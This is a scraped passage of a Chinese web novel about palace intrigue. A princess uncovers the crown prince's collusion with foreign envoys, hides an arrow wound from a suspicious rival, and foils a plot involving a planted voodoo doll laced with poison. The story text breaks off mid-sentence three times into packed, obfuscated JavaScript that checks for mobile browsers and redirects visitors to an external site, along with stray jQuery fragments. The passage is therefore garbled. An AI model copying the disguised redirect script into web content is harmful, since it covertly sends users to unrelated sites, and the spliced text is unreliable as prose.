RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16135594|177870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “二楼可有雅间?” “有是有,不过……”姑娘犹豫了一下,“天字号的几间今晚被人包了,听说是来了一批贵客。” 胥毓心下了然,又摸出一锭银子:“那就地字号,要离天字号最近的。” 这要求一听便不对劲,但那姑娘也没说什么,毕竟开门做生意,有钱不赚王八蛋,拿到手的才是硬道理。 至于其他,那可就不是她该管的事情了。 地字三号房与天字二号仅一墙之隔,胥毓被带进门后,便顺手打发走了那姑娘,然后利落地关上门,再顺着墙壁贴到了墙边。 这醉仙楼的雅间隔音效果并不算好,隐约还能听见隔壁的谈话声,胥毓小心翼翼地在唇边沾了点唾液,然后往那窗纸上掏出了个小洞。 “……殿下考虑得如何?”一个带着异域口音的男声响起。 胥毓循声望去,只见那人长相粗狂,满脸络腮胡子,头发微蜷,一看便不是东陵人。 太子竟然暗地里勾结外邦! “你家殿下能出十万铁骑助我,此话可当真?”胥阳丹的声音压得很低。 “自然。只要殿下如约奉上边关五城,我王愿助殿下一臂之力。” 胥毓瞳孔骤缩,这胥阳丹不仅胆大包天到私通外邦,竟然还背地里和他们达成了什么协议。足足十万铁骑,瞧这架势,他莫不是有谋反之心? 对了,云溪也说过,太子狼子野心,因先皇后之死对诸多人都心怀不满,他图谋不小,除了登临帝位,最重要的还是要报复那些他所怨恨之人。 这样的一个人,又怎么可能安心的等到今上传位于他,而举兵夺位,做那乱臣贼子,也不过就是时间早晚问题! 胥毓心乱如麻,正欲再听,却忽听身后传来“吱呀”一声—— “客官,您的酒……啊!” 店小二推门而入,见她贴在墙上,吓了一跳,手中的酒壶“啪叽”一声摔在地上。 隔壁的谈话声戛然而止。 胥毓心头一凛,顾不得许多,转身扯出一块帕子就蒙着头往外冲,但才刚跑到楼梯口,就听见隔壁的房门也从里打开,随后身后便骤然传来一声暴喝—— “拦住他!” 胥毓冲出醉仙楼,身后脚步声步步紧逼,她慌不择路地拐进一条暗巷,却见巷子尽头早已站着两个外族人。他们手持长刀,刀光森然,不出意外的话,这刀只需一挥,自己便会人头落地! 前有堵截,后有追兵。 胥毓咬牙,从靴筒中抽出匕首,正要拼命,却见一道黑影忽然从墙头跃下。 “锵!”地一声。 长剑出鞘,寒光闪过,最前面的外族人喉间喷出一蓬血花,轰然倒地。 “邰玉轩,怎么是你!?”胥毓又惊又喜。 少年一把揽住她的腰,带着她跃上墙头:“抱紧!” 箭矢破空而来,邰玉轩反手一剑格开,可还是有一支“漏网之鱼”,穿过格挡骤然擦过胥毓的手臂。 那处瞬间鲜血淋漓,胥毓咬牙强撑,却仍旧憋不住疼得闷哼出声。 “唔……” 44. 试探 残阳如血,映照着邰玉轩那双寒星般的眸子。 这些人都不是他的对手,但无奈追兵越来越多,他带着胥毓不好再战,所以紧了紧怀中的人儿,只得几个起落间隐入身后错综复杂的巷弄。 身后追兵的呼喝声渐远,却仍能听见刀剑相撞的铿锵之声。 “放我下来吧,我自己能走。”胥毓轻声道,声音里带着一丝压抑的痛楚。 邰玉轩低头,只见她右臂上的箭伤正汩汩渗血,染红了身上那月白色的衣袖。 他眉头紧锁,脚下却不停:“再忍忍。” 转过几条幽暗小巷,眼前豁然出现一座荒废的小院。院墙斑驳,墙角几株野菊在风中摇曳,散发出淡淡的苦涩香气。邰玉轩踢开半掩的柴门,小心地将胥毓放在一张积满灰尘的木榻上。 他从怀中取出随身携带的金疮药,一边小心翼翼地为胥毓处理伤口,一边声音低沉地问道:“发生了什么事,那些人为何追杀你?” 胥毓没有隐瞒,简单地将自己发现太子,然后暗中听到的对话转述给他。 而邰玉轩听罢,脸色顿时阴沉如水,“太子私通外邦?他疯了吗?” 胥毓疼得额头渗出细密的汗珠,却仍勾起一抹笑意:“他野心如壑,早晚会有这么一日。” 邰玉轩手上动作一顿,抬眼看她:“你还有心思笑?这一箭再偏半分,你的胳膊就废了!” “怎么,邰将军这是在担心我?”胥毓看着邰玉轩紧绷的下颌线,忽然觉得有趣。 邰玉轩手上动作一顿,抬眼看她时,那双总是冷静自持的眼睛此刻竟微微泛红:“你何时让人放心过!” 他说地恶狠狠的,但手上力道却不自觉放轻,指尖拂过她伤口周围的肌肤时,带着难以察觉的颤抖。 胥毓望着他通红的眼眶,忽然伸出左手抚上他的脸颊,邰玉轩的皮肤在暮色中泛着微凉,她能感觉到他瞬间的僵硬。 “……我先送你回宫。”邰玉轩别开脸,声音恢复了往日的冷峻。 胥毓收回手,却是摇了摇头:“不能就这么走。” 她忍着痛坐直身子,“太子疑心甚重,就算没看见我的脸,也能从身形上有所推断。若毫无准备就回去,无异于自投罗网。” 院外忽然传来一阵急促的脚步声,两人同时屏息。待那脚步声远去,邰玉轩才低声说道:“但你的伤——” “不算太严重。”胥毓打断他,从袖中取出一方素帕,然后在炭盆里摸了块黑炭一顿书写,“我给你列个单子,你去帮我买些东西,至于后面的,我一人便能应付。” 邰玉轩接过帕子,指节因用力而发白。他深深看了胥毓一眼,终是转身离去,背影融入了渐浓的夜色之中。 未央宫内,烛火摇曳。胥毓赶在宫门关闭前悄然返回,芳吟等人早已候在殿中,见她带伤而归,个个面色惊惶。 “公主!”芳吟惊呼一声,慌忙上前搀扶,“是谁伤了你?莫不是太子殿下……” 琴夏转身就要去请太医,却被胥毓厉声喝住:“站住!” 她深吸一口气,压下手臂上传来的剧痛,“别去!琴夏,你先去备水。至于芳吟,记住,今日我们只去了锦绣阁,之后便一道回宫,没有分开,更没有受伤。不论何人来问,都是这套说辞,明白吗?” 众人面面相觑,虽不知胥毓此举意欲何为,但见她表情严肃,想来事关紧要,故不敢多问,只得忙不迭地按吩咐行事。 而待她们退下后,胥毓才取出邰玉轩带回的东西,去到内室中调制起来。那堆东西被磨成药粉,随后遇水化作肤色膏体,正是江湖中用来易容的“无相胶”。 她受了伤,这伤口极大,太子但凡找个人来稍加试探,便会露出马脚。虽然她大可以借着公主的身份杜绝一切让人试探的可能,但如此欲盖拟彰,那和此地无银三百两有什么区别? 所以,她让邰玉轩准备的这东西,便能暂时帮她糊弄过去。 而不出她所料,琴夏等人刚把沐浴的热水准备好,门外就忽然传来了一阵嘈杂的声音。 “胥嘉郡主,我们公主正在沐浴,您不能进去!”玉蝉的声音带着惊慌,但仍旧坚定地拦在门口不放人。 她前几日便将家中一应事务处理妥当,之后就忙不迭地来了胥毓院子里。 “滚开!”胥嘉厉喝,“本郡主有要事找她!” 胥毓眸光一冷,不敢耽误,迅速褪去衣衫,拆开绷带,再小心地将胶体涂抹在伤口上。 那药膏呈肤色,是江湖中人惯常用来伪装面目的东西,胥毓幼时在师父手里学过几回,虽然还不得要领,但用来囫囵的糊弄一下人,倒是没什么问题。 她飞快地将剩余的药膏尽数抹在伤口上,然后转眼之间,原本狰狞的箭伤顿时消失不见,只余一片看似完好的肌肤。 与此同时,门口的玉蝉等人也再拦不住带着任务前来的胥嘉。于是胥毓扶着浴桶,立马将染血的绷带扔了进去,然后自己也跟着滑入水中。 而就在她入水的瞬间,浴室的门便被猛地推开,胥嘉气势汹汹地闯进来,目光如刀般扫过屏风后的浴桶。 太子回宫后就将在外和裕嘉人碰头,但被一个形似胥毓的人陡然撞破的事情告知与她,当得知逃走的贼人被一箭射伤,胥嘉直呼大快人心的同时,也坚定的认为此人就是胥毓。 毕竟好巧不巧的,她今日就离了宫,并且据打探来的消息汇报,她回程的时候,也恰恰是经过了醉仙楼! 所以,不是她还能是谁!?于是胥嘉立马自告奋勇,要亲自前来验证这一猜想。 “胥嘉郡主这是做什么,莫不是想和本公主同浴?”胥毓懒洋洋的声音从屏风后传来,她说罢轻笑一声,“可惜本公主没有与人共浴的习惯,就恕不奉陪了。” 胥嘉冷笑,心中早已笃定胥毓就是那人的她直接绕到屏风后,打算一举撕下胥毓的伪装! 但谁知她闯了进去后,氤氲的水汽中,只见胥毓慵懒地靠在桶边,两条光洁的手臂随意的搭在浴桶上,光洁无瑕,毫无受伤痕迹! 她眉头微蹙,显然没料到会是这般情景。 怎么回事,难道真的不是她? 胥毓唇角微勾,暗自庆幸那药膏遇水即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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而正当她疑云再起时,远处正密切关注她动向的玉蝉见状,顿时心头一紧:不好,若是郡主此刻折返,或者加深怀疑,只怕公主所做的一切,全都要白费功夫了! 所以她当机立断,立马从头上取下一只银钗,然后咬牙划破自己的掌心。鲜血涌出的瞬间,她顾不得疼痛,又将手掌浸入一旁的水缸里胡乱一搅,之后便捏着帕子冲出去跪在了胥嘉面前。 胥嘉被这突然冲过来的丫头吓了一跳,正要呵斥。 便见她一边用缠着掌心的帕子擦拭地上的血迹,一边告罪道:“郡主恕罪!奴婢方才修剪花枝伤了手,弄脏了地面,还没来得及收拾,脏了您的眼,还望见谅!奴婢现在就收拾干净!” 脚边那宫女手上的帕子确实染着血色,但胥嘉还是不太放心,所以又一把扯开了她包裹着手掌的帕子。 顿时,一条狭长的口子便暴露在她眼前。那口子如今尚在流血,两边翻开的皮肉白中泛红,既不像是为了应付自己刚刚划破,又不似陈年老伤带有旧痂。 难道……真的是自己多想了吗? 胥嘉将帕子甩在玉蝉的脸上,她擅闯胥毓宫殿,本就于理不合,再在她的院子里惩罚她的宫女,那胥毓只怕不会善罢甘休。 这件事说到底是她无礼在前,所以她也不好再过多追究,于是又恶狠狠地踢了玉蝉一脚,这才冷哼一声转身离去…… 45. 对! 等送走了这尊大佛,确定她不会再折返,玉蝉才立马回到胥毓房中禀告。 “胥嘉郡主出门时,看见了外头的血迹,但奴婢用簪子划破手,假装是自己的血,糊弄了过去,也不知她事后还会不会有所怀疑。” 胥毓虚弱地笑了笑:“怀不怀疑都已经如此,不论后事如何,左不过兵来将挡,水来土掩,你不必过多担忧。此事辛苦你了,去太医院拿点药,莫留下疤。以后遇见类似之事,可不要再伤了自己。” 虽然面上看起来十分轻松,但胥毓的心里却很明白,胥嘉是因为警惕性不强,才轻松被玉蝉给搪塞了过去。 但胥阳丹可不是如此好糊弄的人,等到胥嘉回去将这里的事转述给他,就算没有实质证据,依着胥阳丹这种谨慎的性子,也是宁可错杀,也绝不会放过自己的。 毕竟怀疑的种子一旦种下,随着时间的推移,早晚会在他的心里生根发芽,直至长成茂密的参天大树。 不过正好,她也正等着这两人露出马脚,好趁机履行和皇后的那桩赌约。 所以,那便且行且看,且瞧瞧他们之间,到最后究竟鹿死谁手! …… 次日清晨,晨露未晞,未央宫的海棠树沾着露水,在朝阳下晶莹剔透。胥毓倚在窗边的软榻上,指尖无意识地摩挲着臂上的伤口。 昨夜那场惊心动魄的追逐仿佛还在眼前,伤口也隐隐作痛,提醒着她危险的临近。 “公主,该换药了。”芳吟捧着青瓷药碗进来,碗中黑色药膏散发着苦涩的气息。 胥毓刚解开绷带,窗外忽然传来一阵熟悉的脚步声,沉稳有力,却又刻意放轻,她唇角微扬,示意芳吟退下。 随后窗棂被轻轻叩响,三长两短。 胥毓推开窗,正对上邰玉轩那双深邃如墨的眼睛。少年今日着一身黛蓝色窄袖骑装,腰间束着玄色腰带,衬得他肩宽腰窄,身姿挺拔如青松。 那衣裳料子是上好的蜀锦,随着他微微倾身的动作,隐约可见暗纹流动如水。袖口收得极紧,露出一截线条分明的手腕,指节修长有力,此刻正无意识地摩挲着腰间玉佩。那是他唯一佩戴的饰物,温润的白玉上雕着简单的云雷纹,倒与他故作沉稳的气质相得益彰。 邰玉轩似是察觉到她的目光,不自在地轻咳一声,下颌线条绷得更紧。 他生得极好,剑眉星目,鼻若悬胆,偏生要板着一张脸,连唇角都抿得平直。可那耳尖却出卖了他,在晨光中泛着淡淡的红,像是三月枝头初绽的桃花。 “想什么呢?”他终于忍不住开口,声音刻意压得低沉,却掩不住内里那股少年人特有的清朗。 胥毓噗嗤一笑,支着下巴问道:“在想咱们的邰将军怎么不走正门?” 难不成是翻墙翻习惯了,竟是把这墙头,当成了可随意进出她院子的大门? 邰玉轩闻言,那故作老成的表情顿时裂开一道缝隙,连脖颈都染上了薄红。 他慌乱后退半步,却不慎踩到雨后湿滑的青苔,一个踉跄险些摔倒。待稳住身形,他立刻又板起脸来,连呼吸都刻意放得又缓又沉,活像个装大人模样的小郎君。 胥毓没忍住又“呵呵”笑了起来。 邰玉轩望着她的笑颜,心中悸动,但到底是没忘记自己来此的目的,所以顿了顿,便从怀中取出一个白玉小盒:“这是雪莲膏,对你的伤有效。” 胥毓接过药盒,指尖故意擦过他的掌心,邰玉轩耳根一红,迅速收回手,却不小心碰倒了窗台上的兰草。 “慌什么?”胥毓轻笑,将药盒凑到鼻尖轻嗅,“嗯……确实是好药,闻着都比我自己配的香!” 邰玉轩喉结滚动了一下:“伤口……还疼吗?” “当然疼啊!”胥毓眨眨眼,“要不你帮我上药?” “胡闹!”邰玉轩低喝道,却见她已经自顾自地撩起衣袖,露出一截雪白的手腕。 他慌忙别过脸,耳尖红得几乎滴血。 “逗你的,傻子!”胥毓轻笑出声,慢条斯理地拢好衣袖,“你来找我就只是送个药,没别的事?” 邰玉轩深吸一口气,见胥毓果真不再逗他,才暗含失望的从袖中取出几册书卷:“当然不是,臣主要是来给公主补上今日落下的课业。” 胥毓挑眉:“果真吗?没想到咱们的邰将军做太傅竟做得如此称职,不知其他妹妹那儿,可也有一道关照?” 邰玉轩知她刻意打趣儿,没多解释。 而是压低声音说道:“太子昨夜回宫后,立刻召见了太医,我手下的人打探到消息,说是他在查宫里昨日有没有人用过伤药。” 胥毓眸光一冷:“他倒是谨慎。” 不过好在胥毓有先见之明,所用的药皆是自己提前从宫外带来的,而玉蝉去拿的药,也只是她一个人的药量。 否则的话,只怕是真要被胥阳丹给就此揪了出来。 两人正说着话,却听殿外突然传来一阵急促的脚步声,随后便见芳吟匆匆进来:“公主,不好了,杜公子求见。” 杜公子? 胥毓想了一会儿,才想起自己那个软趴趴的未婚夫——杜若衡。 她与邰玉轩对视一眼,迅速将药盒藏入袖中。 “你不走吗?” 见邰玉轩迟迟不动,胥毓催促出声。可她不催还好,一催,邰玉轩却忽然翻窗而入,不仅不走,倒还像是想留下来? 可还未等她开口追问这是什么意思,一个年轻男子就已经从外边儿走了进来。 杜若衡穿着一袭素白绫罗直裰,衣料上绣着若隐若现的云纹,走动时如薄雾轻拢,衬得他愈发清瘦单薄。 他面如冠玉,眉目如画,偏生那双桃花眼总是低垂着,不敢与人直视。此刻他站在殿门口,双手不安地绞着腰间丝绦,那绦子被他揉得皱皱巴巴,活像只受惊的兔子。 阳光透过雕花窗棂,在他脸上投下细碎的光斑。 他肤色极白,近乎透明,连脖颈处淡青色的血管都隐约可见。一缕乌发从玉冠中滑落,垂在颊边,更添几分脆弱之感。 “公、公主……”他开口时声音轻若蚊呐,尾音打着颤,“皇、皇上命臣……” 话未说完,他的耳尖已红得滴血,连带着修长的脖颈都泛起一层薄红。那双手又无意识地开始绞动衣角,指尖纤细苍白,连骨节都透着文弱书生特有的秀气。 瞧着杜若衡这副手足无措的模样,胥毓觉得有些好笑,唇角也不自觉地勾起一抹玩味的笑意。她故意向前迈了一步,杜若衡立刻像受惊的小鹿般后退,后背几乎贴上了殿内的雕花立柱。 “杜公子这般紧张做什么?”胥毓歪着头,指尖轻轻绕着垂在胸前的一缕青丝,“本公主又不会吃了你。” 杜若衡的脸“腾”地红了个透,结结巴巴道:“臣、臣不敢……” 他低着头,目光飘忽不定,就是不敢与她对视。 邰玉轩站在一旁,面色阴沉如水。 他抱臂而立,指节在臂膀上敲击的节奏越来越快,眼神锐利得几乎要在杜若衡身上戳出几个洞来。 胥毓余光瞥见邰玉轩的反应,心中暗笑,越发起了逗弄的心思。 她忽然伸手,作势要替杜若衡整理歪斜的玉冠,杜若衡吓得一个激灵,脚下一绊,竟直接跌坐在了地上。 “公、公主恕罪!”他手忙脚乱地想要爬起来,却因为太过慌乱,几次都没能成功。那素白色的衣袍沾了灰,看起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16148994|177870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好不可怜。 邰玉轩终于忍不住,一个箭步上前,挡在两人之间:“杜公子既是奉皇命而来,想必有要事相商,不如直接说明来意?” 他语气冷硬,眼神却灼灼地盯着胥毓。 杜若衡这才注意到一旁的邰玉轩,顾不得站起便连忙行礼:“邰、邰将军……” 邰玉轩冷冷点头,指节捏得发白。 胥毓见状眨了眨眼,故作无辜:“邰将军急什么?杜公子还没喘过气来呢。” 她绕过邰玉轩,俯身递给杜若衡一方锦帕,“来,擦擦汗。” 杜若衡颤抖着接过帕子,但指尖却不小心碰到了胥毓的手,于是顿时又像被烫到一般缩了回去。帕子飘落在地,他慌得又要去捡,结果一头撞上了身旁的花几。 “砰”的一声,花瓶摇晃,邰玉轩眼疾手快地扶住,却还是溅了几滴水在杜若衡衣襟上。 “臣、臣该死!”杜若衡面如土色,几乎要哭出来。 胥毓终于忍不住笑出声来:“杜公子当真是太过胆小了!放心吧,本公主不会吃人,你且先站起来再说。” 杜若衡手忙脚乱地爬起来,颤抖着整理自己凌乱的衣冠,他白皙的手指将玉冠扶正,又小心翼翼地拍打锦袍上并不存在的灰尘,动作拘谨得像个稚气的小孩。 “回、回禀公主……”做完这些,他才低着头开口,“皇上说、说你我二人的婚事既已定下,往后就让臣、臣常伴公主身侧,陪着公主……聊天解闷,培、培养感情……” 说到最后几个字时,他的声音几乎要消失在空气里,耳尖又泛起那抹熟悉的红晕。 胥毓眼中闪过一丝了然。 她早该想到的,皇帝虽给了她出入宫禁的自由,但又怎会真的彻底放手?而派杜若衡这个怯懦的“未婚夫”来,明面上是培养感情,暗地里只怕也不过是个监视的眼线。 但余光瞥见邰玉轩绷紧的下颌线,她忽然觉得这个安排倒也有趣。 “原来如此,既然是父皇的意思,那杜公子便跟着本公主吧。”胥毓唇角勾起一抹浅笑,她故意停顿了一下,看着杜若衡紧张得吞咽口水的模样,又道:“正好本公主要去文华殿听邰将军授课,杜公子今日不妨一同前往?” 杜若衡猛地抬头,一双桃花眼睁得圆圆的:“邰、邰将军的课?” 他的目光在邰玉轩冷峻的脸上飞快地扫过,又迅速垂下。 笑话,从一见面这个男人就一副想要生吞了自己的模样,让自己去听他的课,这和羊入虎口有什么区别? 虽然并不知道邰玉轩为何对自己的敌意如此之大,但这并不妨碍他出口拒绝,“不、不了吧!臣恐怕……” “怎么?”但不等他说完,胥毓便一挑眉,“杜公子不愿?莫不是对本公主有什么意见?” “不!不是!”他敢有什么意见呀,有命都不错啦!杜若衡急得连连摆手,差点又打翻一旁的花瓶,“臣……臣遵命就是!” 看着他这么一副活像是要上刑场的模样,邰玉轩的心底更加不满。 这皇帝老儿什么眼光,这样胆小如鼠的软脚虾也能指给阿柳,莫不是以为这男人光凭一张脸就能当饭吃了吧! 他越想越火大,当即冷哼一声:“杜公子若是觉得枯燥,大可不必勉强。” “邰将军说笑了。”胥毓轻飘飘地打断他,她可不想错失一个这么好的挡箭牌,“听说杜公子饱读诗书,想必对此课业必然也是心向往之。” 她说着,转向杜若衡,眼中闪着狡黠的光,“对吧,杜公子?” 杜若衡张了张嘴,两个人谁都得罪不起,他能说不吗?当然不! 所以最终也只能挤出个比哭还难看的笑容:“对!” 46. 中毒 且说那杜若衡自得了圣命,日日天刚擦亮便候在未央宫外,比那报晓的更鼓还要准时。 这日天方破晓,他又在宫门外来回踱步。晨露沾湿了他的锦缎云履,他却浑然不觉,只顾着整理衣冠,生怕有一丝不妥。 几个洒扫的小宫女躲在朱漆柱子后偷看,窃窃私语道:“这杜家公子当真如画里走出来的谪仙似的……” 要说相貌,杜若衡确实是个难得的美人,只可惜胆子委实太小。 这不小宫女们话音未落,便见他耳尖微动,显然是听见了这话。 于是顿时手足无措,白玉般的面颊飞上两朵红云,慌乱间竟被石阶绊了个踉跄。月白的衣袂翻飞如蝶,他急忙扶住身侧的宫墙,才勉强稳住身形。 只不过这一摔,倒又把他那点仙气摔了个干净。 窗内,胥毓倚在雕花窗边瞧着这一幕,手中团扇半掩朱唇,却掩不住眼中流转的笑意。芳吟正为她捏肩,忽觉公主肩头微颤,侧首望去,才知铜镜里映出一张似笑非笑的芙蓉面。 “公主笑什么?”芳吟轻声问道,手上力道又放柔了几分。 “你瞧瞧那人。”胥毓用扇柄轻点窗外,扇坠上的珍珠随着她的动作轻轻摇晃,“这么多日了,怎得还是这样毛毛躁躁,胆小如鼠?” 正说着,忽见杜若衡抬头望来。四目相对的刹那,他又慌忙垂下眼帘,独留长睫在脸上投下一片阴影。 那模样,更像是一只受惊的小鹿了。 芳吟抿嘴一笑:“杜公子虽然胆小,倒是个实诚人。这些日子跟着公主,从无半分逾矩。” 胥毓轻哼一声,团扇“啪”地扔在案上:“父皇挑中他,不就是看中他这副性子么?” 她转身离开窗边,裙摆扫过光可鉴人的青石地面,“去告诉他,明日是本公主的生辰宴,今日不想出去玩了,让他这几日先不必来寻我。” 她这段时间也实在是有些应付累了,虽说是做戏,可老黄牛也尚且还有休息的时候,她堂堂公主,又岂能每日都这样陪着他听曲儿赏花,品名煮茶? 她也是有自个儿的正事儿要做的好吧。 琴夏出去将门口的杜若衡打发走了,芳吟则在收拾梳妆台上散落的朱钗首饰。 “公主,尚宫局已将您明日要戴得新冠送了来,今日可要先试试?” “不必,尚宫局的手艺无可挑剔,明日梳妆后再戴便是。”胥毓漫不经心地摇头,心思却飘到别处。 太子这些时日安静得出奇,就连胥嘉都少见踪影,估摸着是前次纵火一事令他们尚有余悸,所以迟迟不敢出手。 可明日乃是她的生辰宴,届时人多眼杂,实属动手的绝好时机,想必他们一定不会放过。否则的话,再要寻得合适的机会,怕指不定又要等上多长时间了。 胥毓指尖轻叩妆台,心中正暗自估算他们这次会用些什么手段来对付自己,却忽听身后的芳吟骤然低呼一声。 “呀!这是什么东西!” 芳吟此刻正将收拾好的朱钗首饰,连着那顶新送来的头冠一并锁进柜子里,但刚将东西放好,谁知抬头一看,柜子里却突然多出了个陌生的包袱。 这些日子胥毓耳提面命,再三叮嘱,一定要多多留意院中各样物件数量是否有变,以及屋子里侍候的丫头太监可有脸生之人。 所以这东西一出现,芳吟便立马察觉出了不对劲。 而这边她话音一落,软榻上的胥毓也顿时走了过来,她顺着芳吟的视线往柜子里一看,眸光瞬间一凛。 芳吟极有眼色的示意众人退下,然后小心地上前解开包袱,随着布料慢慢拉开,只见里头赫然躺着个巴掌大的布偶! 那布偶用素绫缝制,针脚粗劣,心口处密密麻麻扎着银针。翻过来看时,但见背面用朱砂写着“甲戌年五月初六亥时”几个小字,殷红如血,在晨光中妖异非常。 “这是四皇子的生辰八字!”芳吟立刻惊呼。 窗外忽然“扑棱棱”一阵响,原是只乌鸦落在了海棠枝上,黑羽映着惨淡天光,叫得人心里发毛。 胥毓紧捏的手指微微泛白,四皇子,胥文璟! “好一个一石二鸟之计!”她冷笑。 若明日寿宴之上,这巫蛊之物被发现在她这未央宫,恐怕不只是她,就连皇后也会有所牵连! 虽不知到时候胥嘉与太子会如何让这东西暴露人前,但此物现在既已落入她手,她便由不得这两人再在自己的眼皮子底下作妖! 胥毓指腹摩挲着布偶,忽然触到些许黏腻。她凑近细看,发现针脚处竟沾着些淡黄色粉末,闻之还有股若有若无的苦杏仁味。 “芳吟,将我匣子里的银针取来。”她立马吩咐,“琴夏,你去拿一壶热茶。” 不过片刻功夫,案几上已摆开阵仗。 胥毓先是用银针挑开布偶身上的线脚,让那些黄粉簌簌落在桌上的白绢上,然后又将热茶缓缓浇下,而就在茶水触到粉末的刹那,竟“嗤”地一声腾起一缕青烟。 “果然是天仙子!”胥毓唇边浮起冷笑。 此毒遇热则发,若放在柜子这等密闭温热处,不消一两日,就会让人心绪不安,进而出现幻觉,甚至是变得疯癫! 看样子,这两人不仅是要借巫蛊之名陷害于她,更是要将她变成一个疯子,然后彻彻底底的解决掉她。 毕竟,只有死人的嘴才最牢靠! 晨光穿透窗隙,将她的影子拉得老长。胥毓忽然起身,从箱笼里取出了几块与这布偶类似的绢布,然后穿针引线,片刻的功夫,便仿着那邪物又制出个极为相识的布偶。 她将新缝制好的布偶沾取朱红色的墨水写了几个字,便照原样放回了柜子里,然后祛除掉巫蛊娃娃身上的药后,又另外在布料上浸透了自己调配的药水。 “褚奎。”做完这些,她朝着院外轻唤一声,暗处立刻闪出个精瘦身影,“把这个放到胥嘉寝殿的罗汉松花盆里头去,再将她屋子里的那只狸奴找个偏僻的屋子关上一夜,待明日再放出来。” 褚奎接过那只浸了药水的布偶,指尖触到布料时微微一顿,上头萦绕着极淡的苦杏仁味,混在草木汁液的清气里,不仔细嗅根本察觉不出。但他眼皮都没抬,只低低应了声“是”,随后身影一晃便没入廊下的阴影里。 胥毓望着他消失的方向,指尖无意识轻捻着手中的药瓶。那药水不是什么毒药,只是一些让猫儿闻了就极为喜欢的草汁,琴夏前些时候总见胥嘉的狸奴在她窗下刨土,想来是极爱往那床边的罗汉松花盆旁钻的。 正思忖着,院外忽然传来细碎的脚步声,伴着丫鬟怯生生的回话:“公主,邰世子着人来问,今日的课你还过去吗?” 胥毓回身理了理衣襟,走到镜前,望着镜中自己平静无波的眼,淡淡道:“去,怎么不去。” 说罢,芳吟立马取过搭在衣架上的月白杭绸比甲,轻轻为她披上。比甲领口绣着几簇暗金色的兰草,走动时会随着光线流转出微光,既不失公主的端庄,又藏着几分不易察觉的锋芒。 “告诉他,我换件衣裳就来。”胥毓对着镜外的丫鬟吩咐道,声音里听不出半分异样。 丫鬟应声退下,院中的寂静重新漫了上来,胥毓抬手抚上比甲的盘扣,指腹下冰凉的触感让她愈发清醒。 胥嘉想借巫蛊之祸让她疯癫,那她便先让这出戏,换个主角唱下去。毕竟,疯子的话没人信,可若是“被疯子缠上”,那就另当别论了。 她拿起桌上的素面团扇,轻轻摇了摇,扇面上墨绘的远山在晨光里若隐若现。明日的生辰宴,想来会比她想象中的要热闹得多…… * 这日天未亮透,窗纸已浸了层朦胧的鱼肚白,檐角的铜铃被晨露打湿,偶有风过,也只哑哑地晃两声响。 胥毓的寝殿里却早燃着安神的百合香,芳吟正取过妆奁里的犀角梳,对着菱花镜为她匀鬓发。 “公主瞧这惊鸿髻,衬得您这脖颈越发像雪捏的了。” 芳吟梳齿划过青丝,留下一道柔滑的弧线,又从妆盒里捧出那支金凤衔珠步摇,颤巍巍往髻上簪。那凤凰的眼珠是进贡的猫儿眼,转动间似有流光溢彩,珠串垂在耳畔,稍一动弹,便叮咚作响。 胥毓望着镜中自己,正红色的广袖长裙平铺在锦凳上,金线绣的百鸟朝凤在晨光里泛着细碎的金芒,翅尾的流苏垂到脚踝,轻轻一碰,便如活物般颤颤巍巍,仿佛下一刻真要振翅飞出镜去。 “走吧。”她声音平平的,听不出喜怒,只起身时,裙摆扫过熏笼,带起一缕百合香,混着衣料上龙涎香的冷冽,倒有几分说不清的意味。 麟德殿早已张挂起五色彩绸,殿角的铜炉里燃着百和香,烟气袅袅娜娜地缠上梁间的描金雕花,连空气里都浮着层甜腻的暖意。 乐师们在殿侧垂手侍立,紫檀木的琴案上摆着七弦琴,弦上还凝着点晨露,看来是早候着了。 皇后已在主位坐定,身上的绛紫色翟衣绣着十二对青底金纹的翟鸟,领缘镶着圈孔雀石,在烛火下泛着幽幽的光。见胥毓进来,她眼皮微抬,目光在那百鸟朝凤裙上停了停,嘴角牵起半分笑意,却又很快收敛:“毓儿来了。” 胥毓刚福身行礼,殿外便传来一阵玉器轻撞的叮当声,她循声望去,只见胥昭云提着裙摆进来:“大皇姐可算来了。” 她身后跟着的宫女捧着个锦盒,打开时,里面的南海珍珠滚着莹润的光,“这珠子是昨日刚从南海运抵的,我瞧着最配大皇姐的肤色,希望大皇姐莫要嫌弃。” 而在她之后,胥弦月也不甘落后,忙让丫鬟呈上精心准备的玉镯:“这可是父皇赏的暖玉,冬天戴着手都是热的,平日里我从来没舍得戴过,今日就送给大皇姐做生辰礼!” 胥毓一一谢过,目光却轻轻扫过角落里的胥嘉。 她今日穿了件鹅黄色襦裙,料子看着寻常,可烛火一照,裙角便透出暗绣的牡丹花纹,针脚细密,倒比昭云的珍珠更费心思。见胥毓看来,胥嘉才缓缓起身,她手里的檀木盒子看着沉甸甸的,但打开却是支素色银簪,连点花纹都没有。 “一点心意。”胥嘉的声音淡淡的。 看来,她这是笃定今日自己必然身败名裂,所以连面上功夫都难得再装了。胥毓故作不察,依旧淡笑着让芳吟接过她递过来的礼物。 倒是胥弦月凑过来看了,忍不住撇嘴,贴着胥毓的耳朵小声道:“她这也太寒酸了!谁不知道太子哥哥平日里送了她多少好东西,就拿这么个赏丫头都嫌磕碜的东西来打发你,莫不是故意的?” 